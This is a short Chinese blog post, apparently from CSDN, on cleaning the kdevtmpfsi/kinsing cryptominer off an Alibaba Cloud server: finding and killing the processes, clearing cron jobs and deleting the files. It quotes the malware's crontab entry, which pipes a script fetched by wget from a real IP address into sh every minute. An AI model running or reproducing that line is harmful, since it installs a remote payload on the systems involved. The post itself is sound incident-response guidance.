解決阿里雲服務器被kdevtmpfs挖礦
查進程
top
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-1PLc6GWO-1577413734965)(./1577413013446.png)]](https://pic1.xuehuaimg.com/proxy/csdn/https://img-blog.csdnimg.cn/20191227102915905.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXdveW9uemhl,size_16,color_FFFFFF,t_70)
systemctl status 3256
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-JqiBEbhL-1577413734967)(./1577413079512.png)]](https://pic1.xuehuaimg.com/proxy/csdn/https://img-blog.csdnimg.cn/20191227102924226.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXdveW9uemhl,size_16,color_FFFFFF,t_70)
kinsing 是kdevtmpfsi背後的守護進程，需要先殺kinsing然後再殺kdevtmpfsi。
殺進程
kill -9 3256
kill -9 3142
清理定時任務
查看定時任務
crontab -l
查看到結果：* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
清理定時任務
crontab -e
刪文件
如果需要查找可以查找這兩個文件，然後去對應目錄刪除
find / -name kdevtmpfsi
find / -name kinsing